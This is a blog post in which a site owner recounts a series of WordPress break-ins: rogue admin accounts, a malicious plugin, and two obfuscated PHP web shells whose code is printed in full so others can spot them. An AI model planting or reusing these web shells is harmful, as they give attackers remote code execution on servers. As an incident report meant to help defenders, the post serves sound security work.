Update on WordPress hack

In this blog post, I talked about a recent WordPress hack attack on two of my WordPress sites that appears to be using a zero-day vulnerability to gain administrator access to WordPress sites.

I became aware of the attack when the security plugin WordFence notified me that someone had logged in to one of my sites using a non-existent administrator user from an IP address in St. Petersburg, Russia. The malicious individual had access to the site for eight minutes, during which he created several new admin users and uploaded a malicious file to the Plugins directory giving him the ability to execute code on the site. He was in the process of attempting to upload a file to the /wp-content/uploads directory, which I terminated when I kicked him out.

About fifteen minutes later, a similar attack took place on a second WordPress site I own. Again, the user created new administrator accounts, installed a plugin that allowed him to execute code on the server, and attempted to upload files, this time to the Themes directory. I cleaned the site and kicked him off. In both cases, I moved the login page to a different URL, hen observed while the same IP address attempted to access the old login URL.

Last night, a third site I own was compromised in the same way. This site is not yet in use, and had no content, so I observed the actions of the user.

The hostile user created new admin users, uploaded the same plugin to the plugins directory, then uploaded additional files to the /wp-content/uploads directory and the /themes directory. I downloaded these files for analysis.

The files were both PHP files, uploaded to the following locations:

/wp-content/themes/twentyfifteen/inc/file.php
/wp-content/uploads/2009/sql.php

Their contents are as follows:

file.php

<?php $sF=”PCT4BA6ODSE_”;$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}[‘n703018’])) {eval($s21(${$s20}[‘n703018’]));}?>

sql.php

<?php $qV=”stop_”;$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}[‘qbc8a20’])){eval(${$s20}[‘qbc8a20’]);}?>

Again, these malicious files appear designed to allow the attacker to execute code on compromised servers.

I urge WordPress users to take the mitigating actions I describe in the previous post, linked to above, and to check their systems carefully for the presence of malicious plugins (probably named “research_plugin_” followed by a random string), unauthorized admin users, and files whose contents are anything like what I describe above. These files may be present in one or more places in the WordPress Themes or Uploads directories.